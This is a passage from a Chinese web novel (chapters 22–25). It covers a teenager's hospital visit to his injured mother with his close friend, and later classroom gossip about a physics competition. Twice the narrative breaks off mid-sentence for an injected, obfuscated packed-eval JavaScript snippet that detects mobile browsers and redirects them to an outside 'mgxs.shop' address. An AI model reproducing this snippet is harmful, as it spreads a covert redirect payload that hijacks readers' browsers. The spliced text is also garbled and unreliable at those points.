“毕竟我们总会挂念您啊,”阮牧年也抓了抓桑母的手,说,“还好不严重,平常也要多多小心啊,留意身体状况……” “知道啦知道啦,还是咱们年年最关心我了,”桑母拍着他抿开唇笑,酒窝里挂着慈爱,“不像有些人,过来就跟我吵架。” 不是,闭嘴也中枪? 阮牧年愣了愣:“吵架……怎么了这是?” 桑群不语,只是把手机丢到病床上:“来,这是你年年哥哥,打声招呼。” 闹钟欢快地响铃。 阮牧年:“???” “哦别害怕,这是我刚收的二儿子,”桑母面不改色,解释道,“咱们一家四口要好好相处啊。桑群,愣着做什么。” 桑群:“……啧。” “哥您受累了,”桑群低头关掉吱哇乱叫的新出炉的二哥,丢进口袋,看向他妈,“满意么?” 阮牧年算是看懂了,桑桑这是因为没闹钟听话被贬成老幺了呀。 “桑群也很关心您的,他刚训练回来鞋都没换呢,又穿出去了,”阮牧年笑了笑,缓和他俩关系,“反倒是我姗姗来迟的,可不准时呢。” “唉,他的嘴要是有你一半甜,我还用受气吗。” “话不能这么说,”阮牧年慢慢抚摸着桑母的手背,声调温和,“他毕竟是您亲骨肉,就算嘴上不说心里肯定也是疼得不行;我没有跟您血脉相连的福气,只能嘴上多关心关心了呀。” “哎呀,”桑母越听越高兴,心里软软的,“还是年年会说话。” 干母子俩其乐融融,亲儿子偏要出来煞风景:“你们不饿吗。” 饿死了,考了一天试还去跑接力,有什么事能不能吃完饭再聊? “哦哦对哦,差点忘了,”阮牧年连忙起身,打开饭盒袋子,“我和桑群刚要吃饭呢,正好跟您一块儿了。做了点没那么油腻的,趁热吃,您看看合不合胃口。” 桑群找来小桌板架在病床护栏上。 “年年厨艺我还不知道吗,”桑母笑着说,“肯定好吃。都有什么菜呀?” 阮牧年一样一样往外拿:“一道芹菜,木耳炒面筋,也有肉的,这个青椒炒五花,还有酸菜拌肉沫开开胃,怕您觉得味儿重,粥底下还垫了一张煎蛋,尝尝?” “嚯,丰盛啊,”桑母笑说,“你们每天吃的都是米其林大餐啊。” “哪有哪有,”阮牧年将筷勺递过去,“今天三个人所以多做了点,平常我们也就随便吃点,能饱就行。” “也不能太随便了呀,毕竟长身体呢,”桑母尝了尝五花,“嗯!好吃!” 阮牧年举着筷子给她多夹了一点:“喜欢就好,您多吃点,生病就容易饿呢。” 三个人的电影,两个人的亲情,弃子桑群在一旁纳闷地用筷子戳肉:“怎么没有鸡肉。” 阮牧年:“?” “要夹就夹,脏不脏,”桑母毫不客气地打了他筷子一筷子,“弄得都是你口水。” 桑群:“……我还没入口呢。” “年年啊,”桑母叹了口气,“你有买核桃不?” 阮牧年:“??” 桑群赶紧给他妈夹了块面筋:“吃都堵不住你的嘴。” 桑母微笑:“那你闭嘴吃饭呗。” “……” 桑群抿住一块五花,吸溜进嘴里,边嚼边幽怨地看着他俩。 阮牧年担忧地给他也夹了块肉放进碗里:“敞开嚼吧,别吸进气管里去了。” 桑群:“……” 这人到底站哪边的? 23. 23 桑群彻底闭嘴,接受自己是个局外人的悲惨命运。 那边两人倒是聊得挺开心的,从天聊到地,从南聊到北,这种时候阮大厨倒是没有食不语的要求了呢。 标准真灵活。 饭快扒完了,对面两人不知聊到什么,忽然齐齐朝他这里看了一眼。 “难得这么安静地吃饭呢。”阮牧年说。 “这小子嘴上不饶人,”桑母说,“可气呢。” “好久没见他瘪嘴的样子了,”阮牧年笑了笑,“还是阿姨你厉害。” ……这种当面蛐蛐别人的行为能不能控制一下? 桑母:“这话说的,难道这臭小子天天损你?” 阮牧年:“可不是嘛,我嘴笨说不过他。” 桑群仿佛听到了天大的笑话,阮牧年嘴笨?那这世界上还有会说话的人吗? “哦没事,阿姨教你几招,保证把他驳得找不到脑袋。” “好啊好啊。” 两人开始在他面前交头接耳。 筷子在手里快捏碎了,桑群面无表情地想,哪天得了高血压,一定要把这俩人写进报告单。 阮牧年抬头恍然大悟:“哦哦,我明白了!” 桑母欣慰地拍拍他的肩膀:“孺子可教也。” “……你俩才是亲生的吧,”桑群究极无语,把空碗推出去,“要不我走?” “你才知道吗,”桑母挑了挑眉,“你是我垃圾桶捡来的啊。” 桑群:“……” 阮牧年赶紧安慰他:“别难过,往好处想,至少阿姨是主动捡你回来的,而不是充话费送的。” 桑母听后哈哈大笑。 桑群:“…………” 怎么,搁这实战教学吗。 出师了是吧阮牧年? ……真是谁也没放过他。 毁灭吧。 晚饭吃得七七八八,阮牧年把饭盒收拾好,两人还在聊。桑群去洗了个手,在另一边给他们削苹果。 那些在桑群口中如同小学生日记一样的事情,到了阮牧年嘴里,就变得生动形象了许多。 桑母偏头听着孩子们青春活力的校园生活,唇边挂着浅淡的笑。 桑群瞥了一眼,垂下目光。 斗嘴归斗嘴,无话可说的时候,他总是庆幸有年年在身旁。 这个家没他得散。 阮牧年带来的饭盒有一个小盆,桑群用网上买的神器把苹果切块,插上牙签递过去。 桑母看了一眼,说:“苹果切块还是加盐好吃,之前路口有家水果店的苹果品种很不错,改天你们回家的时候尝尝。” 正说着,桑群又递过来一个苹果,裸的,圆滚滚的。 阮牧年犹疑地伸出手:“我的?” 桑群避了一下:“去洗手。” “我记得有拿手套啊,”阮牧年说,“你翻一下。” “翻一下,”桑母用手肘怼了怼儿子,说,“不给年年切块就算了,手套也懒得拿吗。” 桑群:“……就一个碟,有的吃都不错了。” 手套还真有,虽说塑料也并不是完全卫生,但这人没直接用手抓,已经进步很大了。 也是,在外面阮牧年可从没邋遢过呢。 看着两人一人一个苹果吃得很香,桑群靠在椅背上想,到底是谁在照顾谁。 不知不觉已然夜深,桑母的手机震动起来,她拿起来一看。 “哎呀,是我洗漱的闹钟,”她关掉铃声,“时间也不早了,你们先回去吧,放假前不还要再上几天课吗。” “还好,刚考完没什么事,”阮牧年笑说,“那我们明天再来看你……” “哎呦这么点伤天天来看的,阿姨又不是照顾不好自己,再说还有护士呢,”桑母推脱道,“你们好好做自己的事,什么写作业啊预习啊复习啊,其他等国庆再说,昂。” 阮牧年看向桑群,后者沉默地拎起没吃完的水果和饭盒,想了想道:“那我过几天来陪你。” “这就对了嘛。” “那阿姨再见,要好好休息啊。”阮牧年挥挥手。 桑群走在他后面,语气还是那副死样:“注意休息,妈。” 桑母白了他一眼:“赶紧走吧。” 走出病房不远,阮牧年缓下步子,在桑群胳膊上搓了搓。 “怎么样?” 桑母有意不让他们担心,关于病情也说得含糊其辞,阮牧年只能来问她儿子。 “脚踝骨折了,开放性的,可能会感染,”桑群说,“医生是建议住几天院。她一开始有些不乐意,现在应该接受了吧。” “那就好,”阮牧年点点头,“那你呢?” 桑群顿了顿:“嗯?” “你怎么样啊,”阮牧年看着他,那双透亮的眼眸很清澈,能看清里面倒映的人影,“有没有不舒服?” 桑群抿了抿唇没说话。 阮牧年总是了解他。 接到消息,赶来医院,在消毒水味儿中泡了一晚上,接触那些或惊心或悲怆的病患。 会心慌吗,会胸闷吗,会难受吗。 他垂下眼,手里提满了东西,只能伸出小指勾了勾阮牧年的。 “没事,”他说,“一开始有点,你来之后好多了。” 看他不方便,阮牧年分担了一个饭盒,然后另一只手挽住桑群的胳膊,摸了摸。 “别怕,你也知道不严重,都会好起来的,”阮牧年对他笑了笑,“我们走吧。” 本来是要直接离开的,却在柜台被护士拦住。 “你们要走了?”护士疑惑地看了看他们,“那病人自己出院吗?” 桑群一怔:“什么出院?” “还有一小时,”护士看了看手里的单子,“虽说只是脚踝骨折,回去之后也要好好休养啊……” “不好意思姐姐,”阮牧年上前一步询问,“你的意思是病人今晚就要出院吗?” “是啊,张医生不是让你们劝她吗,”护士说,“但等了半天也没人过来缴费,再过一会儿有个手术的病人就要用床了。” “是么,”桑群的声音低低响起,没什么起伏,但能听出在强忍着什么,“抱歉我们忘记了,在哪里缴费?” “要住院是吗,行,我这边安排一下。” 桑群跟着护士走了,眉头始终蹙着,阮牧年把他手里的东西都接过去,放在等候椅上。 心里说不出什么滋味,联想到方才母亲劝他们别来看望的话,那种不爽的烦闷就更严重了。 姜还是老的辣,等国庆他们再来,他妈只要说医生让她提前出院,就什么都瞒过去了。 真是好打算啊。 被俩人挤兑一晚上,桑群都没真的动怒,这下却有些难以抑制了。 机械地填写信息,缴费,取单子,名字都差点写错。 回到阮牧年身边,他周身依旧环绕着一股低气压。 “我……”桑群看着他,“我去守着她,今晚就……不回去了。” “桑桑,”阮牧年拉住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17356301|199683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他的手很用力地抓了两下,“你别这样,要不我们在这里待会儿再回病房。” 看着太吓人了,脸色很差,这样回去肯定会和阿姨吵架的。 桑群闭了闭眼:“嗯……我就是有点,烦。” 阮牧年拉着他坐下,在他肩上捏了捏,然后从口袋里掏出一包湿巾。 这是做什么? 桑群看着他把湿巾摊开,然后覆过来,还说:“闭眼。” 怎么突然要擦脸,桑群虽然不解,但还是照做了。 阮牧年按着他轻轻擦,从光滑的额角到紧抿的唇边,面部肌肉很紧绷啊,这样想着,他加大了力道。 “嘶。” 桑群吃痛挣扎了一下:“把我当衣服搓吗。” “我在让你放松啊,”阮牧年说,给湿巾换了个面,“冰凉贴一下,能冷静不少。你脸太僵了,多动动面部肌肉,擦过脸的话,会觉得目光清明一些,怎么样?” 桑群睁开眼,阮牧年就在他面前咫尺处,温热的气息触到脸颊上。 好像有点近了。 尾指不自觉蜷缩了一下,鼻尖有些麻麻的。 思维有没有清晰不知道,但确实冲淡了一些愠气。 阮牧年隔着湿巾摸了摸他的脸:“你心里肯定是有些不高兴的,但不能一上去就吵架,那解决不了问题。桑桑,好好跟妈妈说吧,我们其实能猜到她在想什么,但你也要让她知道你在想什么,好不好?” “或许不只是她的问题,”确实能冷静下来,桑群也想到了更多事情,“我也……不爱跟她交代什么,我们都不乐于分享。” “所以才需要好好沟通的机会,”阮牧年说,“其实早该聊了,今天是个很好的日子,去试试走出这一步吧。” 被对方照顾的时间实在稀少,每次都会有不同的感觉。当阮牧年像哥哥一样说话,对他做出什么指导的时候,心里会被暖洋包围,这次也是,还多出了一股微痒的心悸。 但桑群没去探究那是什么,他的思绪依旧有些乱,于是主动伸手抱住了阮牧年。 想抓住什么让自己没那么慌,但毫无头绪,桑群只能喊他:“年年。” “嗯,我在,”阮牧年摸了摸他的后脑,说,“一直都在。别怕。” “年年……” “在的,”阮牧年说,“我就在病房外等你,聊完了我再回去。” “……年年。” 怎么只会乱叫,阮牧年失笑,拍着他的后背,也在他耳边唤了声:“桑桑。” 温热的气流拂过耳郭,刻意压低的嗓音好像比平常要特别,不知怎么,桑群觉得耳尖一阵酥麻。 怎么回事,静电了吗。 最近好像经常这样,或许是要换季了。 桑群往他颈窝里埋了一下,然后直起身,准备回病房。 “加油,”阮牧年坐在位置上看他,头微仰着,“我在外面等你。” 好乖的坐姿,脑子里忽然闪过这样的想法,桑群赶紧挥掉,对阮牧年点头:“嗯。” 推开病房门,一眼就能看见坐在床沿似乎正在试图下床的桑母。 对方明显愣了愣:“你怎么回来了?” “要上厕所吗,”桑群伸手过去,“我扶你。” “不用不用,哪有儿子扶妈去厕所的,”桑母拍掉他的手,“我就是……躺久了活动活动。倒是你,还没回答我的问题呢。” “怕你跑了,”桑群在阮牧年坐过的椅子上坐下,就这样看向桑母,说,“回来陪你过夜。” 24. 24 桑母的脸色明显僵了。 “……跑什么跑,”缓了几秒,她才开口,“在这过夜又没床睡,回去躺着不好吗?我又不是……” “妈,”桑群看着她,目光平静,“住到30号吧,我已经缴费了。” 他看见母亲的眉头下意识蹙起,原来她的眼尾早长了细纹,苹果肌抬起的时候才能察觉到。 唇瓣颤动了一下才出声,桑群认出这是她酝酿怒气的征兆。 “好端端的乱花什么钱?就这么一点小伤,躺几天就好了,”桑母的语速有些急促,对他的做法很不满意,“就是去社区医院,人家也是一样的说法,那里买药还打折呢……” “你这是骨折,不是擦伤。” “有什么区别?”桑母反问,“我又没那么娇气。” 有的。 桑群看着她心想。 曾经有的。出门前反复挑剔妆容服饰,喝不下过烫或过凉的水,每天细致地打理自己不少于三次,接受不了身上任何的邋遢和脏污。 可现在呢? “医院就是骗钱的勾当,”桑母继续说,“他们都不能保证治好每一个病人,却还是要收钱。要不是那神经病雇主非要打120,我也不会来这里……” “可是,”桑群开口,嗓音是他惯常的冷冽声线,“这些年我们都没有好好为自己活过,应该想想以后的事了。” 剩下的话被堵在喉间,桑母顿了顿才发出声音:“……什么?” “没几年了,现在既不是最急迫的时候,也不是我们最潦倒的时候,”桑群说,“不能再在原地待着了。妈,你看见了,我在试着往外走,你也要一样。” 桑母张了张嘴,几番不知该说什么,最后只得低低道:“那能一样吗。在截止日期之前,我没有选择……” “你有选择,”桑群说,“你只是不愿意给自己选择。” 桑母没说话。 桑群:“假装无路可走,就可以逼着自己一直前进下去。我曾经也是这样想的。可现在不一样了,我们需要歇一歇。” “你真是,”桑母往他身后看了一眼,声音低低道,“跟被年年附体了似的。” 桑群点头:“是他告诉我的道理。” 桑母看着他叹了口气,头一次没有以唇枪舌剑回应他,而是真实地表达了自己的想法。 “那是你的想法,但不够全面,”桑母说,“工厂最近不景气,不知还能撑到什么时候。你已经高二了,马上就要高考,就算决定要好好为自己活下去,可你难道不是我生活的一部分吗?” 桑群怔了怔,他确实没想到这么多。 “工厂……” 桑母挥了挥手:“生意的事,你小孩子也不懂,不如好好努力学习。” 桑群抿了抿唇:“总之,我们都应该对自己好一点了。你也赞同这句话,对吗?” 桑母叹气:“我敢说不对吗。” 桑群:“……” “年纪不大,倒安排起你妈了,”桑母别过脸,不愿与他多说,“还先斩后奏,钱都交了才跟我说……你要待就待吧,睡地上别着凉就好,哼。” 桑群:“你真的不去上厕所吗?” “……你有病吧,”桑母毫不客气,“我就是要上,叫护士来扶我,叫隔壁床大姐来扶我,自己扶着墙蹦过去,也不会让你扶。” 隔壁床大姐快睡着了,闻声迷糊睁眼:“叫我……?” “啊没事,大姐你睡吧,”桑母回头道,“听懂了吗。” 桑群:“……事儿精。” 桑母:“半斤八两。” “我出去跟年年说一声,让他先回去,”桑群起身,盯着她,“别跑了。” “神经,”桑母白了他一眼,“我跑得动吗。赶紧去送年年,已经不早了。” 这时候倒是承认自己确实受伤了呢。 桑群出门,远远看见阮牧年坐在椅子上,低头戳着手机。 他走过去,看他的侧脸莫名手痒,伸出手指在对方的下巴挠了挠。 阮牧年吓了一跳:“聊好了?怎么走路没声啊。” 不知道在戳什么,居然反应过来的第一时间是熄屏。桑群没多问,只是道:“嗯,聊好了,没吵架。” “阿姨愿意住院了吗?” “不住也得住,”桑群说,“我倒是没想到……原来是我这阵子的改变,让她始终不愿意放过自己。” 工厂这些年一直是那副半死不活的样子,母亲也说要倒闭好多年了,愣是强撑到现在。 反倒是自家那个从小叛逆的儿子,忽然愿意发奋学习了,当母亲的能不多想吗。 学业、补习、高考、大学,想到这些,生活的重担又重重压下。 桑群有一点说的没错,他们都不愿给自己留选择。 无路可退,母亲就能咬一咬牙,继续攒钱养家;无路可退,他就能冷着一张脸,避开所有社交和冗繁的学业,继续见缝插针为生计奔波。 可也正如阮牧年所说,只要他站在阳光下,就会被牵住手。 拉他一把的人会笑,会用很认真的眼神看着他,然后他们一起奔跑,在阳光下。 对于他来说,这个人是阮牧年;对于母亲来说,这个人只能是他。 阮牧年的手躺在掌心里,没用力的样子软软的,捏起来挺好玩。 他捏了一会儿,被人反捏一把才出声疑惑:“嗯?” “要被你玩坏了,”阮牧年赶紧抽回自己的手,“我刚刚说的话你有没有在听啊。” “什么?” “我说,周一还要上课,你周日晚上……” “回去睡,”桑群说,“钱已经交了,退不回来,我妈应该不会再搞什么幺蛾子了。” 阮牧年点头:“那我回去了哦。” 东西蛮多的,桑群留了一些水果,给他减轻负担。 “桑桑,晚安,”阮牧年站在台阶底下,仰着头说,“睡个好觉。” 桑群点头,伸手在他脸上摸了摸:“嗯,晚安。” 阮牧年偏了偏头,奇怪道:“摸我脸干嘛。” 桑群怔了一下:“没什么,顺手。赶紧走吧。” 他把手掌盖在阮牧年额头上,轻轻推了一把。 “哎呦。” 阮牧年揉着脑袋走了。 真是奇怪。 桑群站在原地,看着阮牧年的身影钻进网约车车门,在窗里冲他远远挥手。 心里居然有点不舍,是最近住一起太习惯了吗。 以前他要是对阮牧年动手动脚,想做就做了,就算年年问了一句,他也会说“想摸就摸了”或者“你也摸了”之类。 今天居然含糊搪塞过去了,不像他的风格。 桑群想了半天,为什么要伸手摸?因为站在那个位置,身后的灯光正好照亮阮牧年脸上那一小块皮肤,看起来白白亮亮的,让人很想试试手感。 事实证明手感也很不错,软软滑滑的,可爱。 想什么呢,桑群晃了晃脑袋,年年一直很可爱,不是么。 还是赶紧回病房吧。 尽管这是连桑母都认可的事实,也经不住桑群偶尔心生怨怼。 第二天一大早,周末,阮牧年背着书包出现在病房里,跟每个醒着的人都打了声招呼。 然后,他掏出了书包里的作业,递到桑群面前。 “这周末的作业,怕你忘了特地帮你带过来,”阮牧年笑着说,“要记得写哦。” 桑群:“……” 阮牧年可爱?可爱在哪里? 自己绝对是眼瞎了。 还有个更瞎的,桑母满脸欣慰:“年年真体贴呀,桑群,还不快收好。” 桑群:“……” 谁来为他发声。 可怜的桑群在医院待了整个周末,除了尽心尽力服侍受伤的老母亲以外,还要完成邪恶大魔王带来的破作业。 “作业做完了吗?”阮牧年趴在沙发靠枕上问。 桑群瘫在冰冷的书桌椅上,半死不活:“嗯。” “明天早上的体育课,还有后天下午放学,接力赛都安排了训练,”阮牧年打了个哈欠,“别忘了去哦。高璋问我你为什么没通过……” 桑群闭上眼:“嗯……” “……他的申请,我说你换号了,”阮牧年翻了翻沙发,扯出半条还算平整的毯子,胡乱盖上,“记住咯,我是明天早上告诉你要去练习的……” “嗯……嗯,”桑群挣扎地站起来,不想再管桌上乱七八糟的作业了,反正明早阮牧年会帮他收好,“知道了。我关灯了。” 客厅的灯熄灭,桑群摸索着走到沙发边,帮某个小团糕把背上被毯拉好,保证不漏风。 在他肩上拍了拍,桑群低声说了句:“晚安。” “嗯嗯……安。”阮牧年闭眼呢喃着,连字都吐不清了。 桑群下意识要给他一个晚安吻,却在俯身到一半的时候顿住,最后什么也没做,回到了卧室。 说不清是怎么回事,这几天亲近阮牧年似乎会让他感到不自在。 但桑群实在太困了,沾上床没几秒,就放弃了思考,扑向黑甜的深眠。 就连阮牧年明明今天没来医院,却也跟他一样累的怪异都顾不上去探究。 第二天一大早,体委张什么高什么就一脸委屈地来兴师问罪。 “六爷,”他皱着脸双手捧心,努力凹破碎感,“这都两天了,你怎么还没通过我的好友申请啊?” 桑群张了张嘴,想起来了:“……我换号了。” “真换了?”体委一脸不信地看了看阮牧年,又看了看桑群,“那新号是什么,不能推我一下吗?” “不能。” 体委一脸悲愤:“太不公平了,为什么牧年就可以有?” 刘嘉刚来教室,没听明白:“有什么了?” 体委:“牧年有咱六爷的好友,却不让我加呜呜呜。” 刘嘉:“?” 桑群:“……” 背书背到一半莫名背上黑锅的阮牧年:“……?” “不是,”阮牧年澄清,“我没有。” 体委问:“六爷,咱训练时间是什么时候?” 桑群:“……今天和明天。” 体委:“你咋知道的?” 桑群:“阮牧年说的。” “你看,”体委一脸被渣男始乱终弃的样子指责这同桌俩,“他俩刚来嘴都没张开,就知道我昨晚发的通知了?意念交流吗?” 刘嘉心说,也不是不可能。 毕竟这俩经常语气词交流和眼神交流呢。 阮牧年:“……真没有。” 体委质疑:“那你俩咋交流的?” 桑群:“电话。” “你看,六爷都亲口承……什、什么?” 桑群撕下一张纸条,团了团丢过去:“你也可以试试。” 好像在说:你也可以逝逝。 不对吧,体委拿着纸条内心欲哭无泪,这年头了谁私下沟通打电话啊?就算要打,不也应该是语音通话或者视频通话吗? “我感觉牧年没有,”刘嘉抱着书包肯定点头,“我们学习小组至今都没拉群呢,根据地就在学校。” 阮牧年点头:“我是无辜的。” 由于上次训练发现的疑点,体委始终对这俩人持有疑虑。 眼下也没有什么办法继续质疑,只能先接受了。 但是!这俩人绝对不简单! 他甚至跟好兄弟刘嘉分享了这件事。 刘嘉却二丈和尚摸不着头脑:“有什么问题吗?” 朽木不可雕也,体委失望摇头,看来就算是好兄弟也不能完全跟上他的脑回路。 课间的时候,桑群正准备趴下去睡觉,后门传来一道甜美明快的声音。 “牧年!” 阮牧年回头看过去,笑了笑,起身往后门走:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17356302|199683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎么啦?” 桑群眯了眯眼,这就是上周体委他们聊的八卦女主角? 程书……什么来着? 哟,回应挺热情的,一叫就出门去了呢。 刘嘉转身拿书的时候瞥见后桌盯着后门略有些阴霾的目光,毫无自觉地道:“六爷,你也看见了吧,那就是抒晴姐。” 桑群轻轻挑眉:“哦。” 后排真是个好位置,能看清后门外的走廊。绯闻主角站在栏杆边,一个笑容明媚不知道在叭叭讲什么,另一个单手插兜微笑着应和,确实金枝玉叶呢。 ……好像是金风玉露。 管它金什么玉什么。 “真羡慕啊。”刘嘉同桌也趴在座椅背上,看着外面感叹道。 “我本来不信的,”刘嘉跟他同桌同款趴姿,叹着气说,“结果周末回家刷一下论坛,不知道谁往表白墙投了这个稿,那热度差点就要冲掉咱们龙虎之争的校草帖……” 桑群听得一头雾水:“什么龙虎?” 差点忘了主角之一就在旁边,刘嘉战术性清嗓:“……总之就是,不好意思了牧年,这‘念书’cp我也站了。” 桑群:“?” 什么东西? “那你不行啊,”刘嘉同桌说,“我都刷到投票他俩谁先表白的贴了。” “嚯,票数如何?” “牧年的票比较多,嘿嘿,我也投他了。” “我怎么感觉抒晴姐更主动?”刘嘉摇头,“我要投抒晴姐。” “你们更落后啊,”路过的学委啧啧摇头,“最新的贴明明是他俩孩子应该叫什么。” 刘嘉:“?” 刘嘉同桌:“?” 桑群:“……” “学委,你也刷论坛啊,”刘嘉瞠目结舌,“但你刷到的也太猎奇了吧……” “还好吧,很有意思不是吗,”学委推了推眼镜,扭头对桑群说,“桑群同学,你的错题本还没交。” 桑群:“什么错题本。” “月考错题啊,”学委说,“答案已经发了,各科课代表的错题本要先上交给学委,上周班群不是通知了吗?” 什,这种通知为什么不在学校说,发群里干什么。 桑群:“……没看到。” 学委疑惑:“你不是在群里吗?” 刘嘉震惊:“啊?六爷在班群?” “是啊,上周牧年把他拉进来了,”学委说,“你们没看见群聊人数加1了吗?” 阮牧年让他屏蔽他就屏蔽了,谁知道里面还有这种通知。 桑群只好说:“周末没看手机,不知道。” “那你早上放学前能交上来吗?”学委说,“我有政治答案,借你。” 桑群:“……哦。” 好不容易补完作业到了周一发现还要继续补,绝望感拉满。 这种事阮牧年怎么不说? 就知道跟暧昧对象聊天了,都快上课了,还不进来? “那就这样吧,”程抒晴拍了拍对方的肩,“我下次再来找你。” “嗯,拜托你了,”阮牧年点头,“拿不到也不强求,我不会怪你恶性竞争的。” 程抒晴捂嘴笑了半天:“我爸还是很疼我的,应该是没问题。倒是你,求关系求到我头上,你才是恶性竞争吧?” 阮牧年笑了笑:“我得拿下一等奖啊。” “花落谁家不一定呢,”程抒晴说,“万一我赢了呢?” “不一定呢,”阮牧年学着她的语气,“也不看看这次月考谁赢了呢。” “哇你这人,”程抒晴跺脚,“一分给你嘚瑟的。” 阮牧年:“哈哈。” “认识你之前还不知道你这么欠呢,”程抒晴转身,“要上课了,我先走啦。” 阮牧年挥手:“嗯,拜拜。” 回到座位上,他还在盘算着刚刚聊的事情。 之前跟宁舟聊过的那场竞赛要开始了,这周末他都在忙这个。 张老师为竞赛特地开了个培优班,程抒晴也报名了。 聊过才知道,原来程抒晴的父亲在教育局工作,正在编写符合近几年物理竞赛考情的题集。 得知程抒晴打算找她爸整理一些题作为备考资料,阮牧年拜托她也给自己整一份,作为报答,他会拿自己的其他学习资料进行交换。 为了保证公平竞争,他俩的备考资料要对彼此公开,全无保留。 当然了,让阮牧年担忧的不止程抒晴一个。 还有南中的宁舟。 不知道能不能拿奖,虽说二等奖也很不错,但最好是一等奖。 一等奖才有奖金啊。 “阮牧年。” 思绪忽然被人打断,阮牧年差点蹦起来,扭头看去,桑群正一脸不爽地看着他。 “怎么了?”阮牧年问。 桑群暗暗磨牙,真是有了衣服忘了手足,搁这沉思半天了,回味刚刚的谈话吗? “错题本写了吗?” 桑群不信学习的事情阮牧年会忘记通知他,除非他本人也不知道这件事。 果然阮牧年愣了一下:“什么错题本。” 刘嘉扭头过来:“不是吧牧年,你也不知道吗?” 他把学委的通知说了一遍。 “哦,哦,我没看群,不知道这事,”阮牧年支着额角,“不过没事,我没错题。” 桑群:“?” 刘嘉:“?!” “我靠,”刘嘉震惊,“你你你,这次也不简单啊你考了满分???” “还好,有些难题是改编过的,我做过原题,”阮牧年说,“没事,我估了一下,你差不多75以上就算是达标了。” 悲惨的政治课代表低头看了看自己空白的试卷,又看了看旁边学委提供的答案,心里一阵悲凉。 完全没有在原卷上写答案的习惯,这他怎么对答案? 可恨,为什么政治不能考满分? 25. 25 30号下午,桑群练完接力回来,阮牧年正在帮他收拾东西。 今晚桑母就要出院了,明天是国庆,怕她行动不方便,桑群打算回家住几天。 “作业要带啊。”阮牧年叮嘱。 真烦,这人最近越来越烦了,桑群插着兜站在旁边,皱着眉:“哦。” 没想到月考后破事又变多了,整理错题,订正试卷,收错题收试卷,发杂志发材料,还要参加劳什子运动会项目练习,回来又被某人催写作业。 更可气的是这个某人早就把作业做完了,还能天天跟别人谈情……谈天说地。 以前他确实没留意,这两天下课没睡,就发现阮牧年跟那什么书交谈的频率异于常人。 还催他写作业,某人最好知道自己的第一要务也是学习,而不是到处闹绯闻。 真烦。 阮牧年把他的书包拉链拉好,拿着手机问:“我帮你叫车?” 桑群动都不动:“哦。” 感觉对方最近有点低气压,是累坏了吗?阮牧年戳着手机,说:“篮球赛在运动会后面,到时候高璋要是还骚扰你,你就……” “没事,”桑群说,“加。” 阮牧年愣了愣:“什么?” “晾着也麻烦,”桑群说,“那就加了。这不正是你希望看到的吗?” 阮牧年抿了抿唇:“是,但你这……” 说不上的奇怪,桑群有一套自己的处世逻辑,这是遭遇了什么变故吗? 桑群看着他:“收拾完了?” “嗯,都在这了,”阮牧年把包和袋子递给他,有些犹豫,“我……” 桑群等着他的下文。 总感觉气氛有点不合适,但心里的不安更大,于是阮牧年小心地张开手,语气迟疑:“那个……” 桑群看懂了他的意图,偏要问:“干什么?” 不太对劲,若是以前,桑群问都不会问一句,直接就会走过来抱住他。 然后再问怎么了。 可现在,他竟然觉得向桑群讨要一个拥抱会感到尴尬。 但手都张开了,再尴尬也得说下去:“要分别好几天啊,你就打算直接走吗。” 桑群看了他半天,微皱的眉才松开,走上前抱住他。 真是的,明明觉得这人很烦,看见他露出那种可怜巴巴的眼神,还是会心软。 可谁能拒绝张手求抱的乖乖小狗呢? 至少桑群不能。 被抱住的瞬间,小狗迅速如年糕般缠上来,紧紧的。 “怎么了。”桑群拍着他的背问。 “不知道你要什么时候回来,”阮牧年闷在他肩上说,“我会想你的,团团也是。你……不要太累……” 怎么忽然说这种话。 心上倏地窜过一阵悸动,说不清的感觉,或许是因为阮牧年从未如此直白地表达思念吧,他们很少有告别的机会。 “没有你那堆作业,”桑群说,“我会更轻松。” 阮牧年笑了笑:“那是你的作业呀,我又没让你帮我做。” 桑群:“哼。” 阮牧年抬头在他鼻尖上蹭了蹭,轻声说:“桑桑,再见。” 怎么会这么乖,鼻尖都麻了,最近自己是不是得了皮肤病,怎么老是发痒,过敏吗。 “嗯,”桑群还是没忍住,伸手去捏那张看着跟蛋糕一样软的脸,“再见……黏兮兮。” 送走桑群后,阮牧年合上大门,脸上的笑意瞬间消失。 没想到能撑到现在。 他捏了捏手指,摸了摸脸,再抱住自己的肩膀。 没事的,没事。 有桑群的拥抱赐福,要鼓起勇气啊,胆小鬼年年。 离三号没几天了,要不这些天不洗澡了,让赐福生效久一点。 想法刚冒出来就被他挥掉,算了算了,要是被桑群发现发臭的衣服,自己绝对会被暴揍的。 阮牧年深吸一口气,掏出竞赛题做了起来。 缓解一下压力吧。 “你还用缓解压力?”桑母一脸怀疑,“你有压力吗?” “……我没你想得那么无所事事,”桑群低头翻着手里的东西,“再说了,也有你的份。” 桑母惊喜:“你也要送我吗?” “想多了,”桑群把毛线丢过来,“是也有你干活儿的份。” “嘁,胳膊肘往外拐,”桑母嘴上抱怨,手倒是诚实地干起活来,“养你成人的妈比不上你年年哥哥。” 桑群:“两个儿子挑一个,你选谁?” 桑母笑笑:“那当然是我们家年年了呀。” 那还废话,桑群轻哼,在这一点上他跟他妈倒是从没分歧。 桑母织了一阵,转折的时候问:“尺寸多大?” “大概……这些,”桑群捏着米尺估了个大概范围,又犹豫地往外比了比,“总觉得团团变胖了,要不再宽一点……” 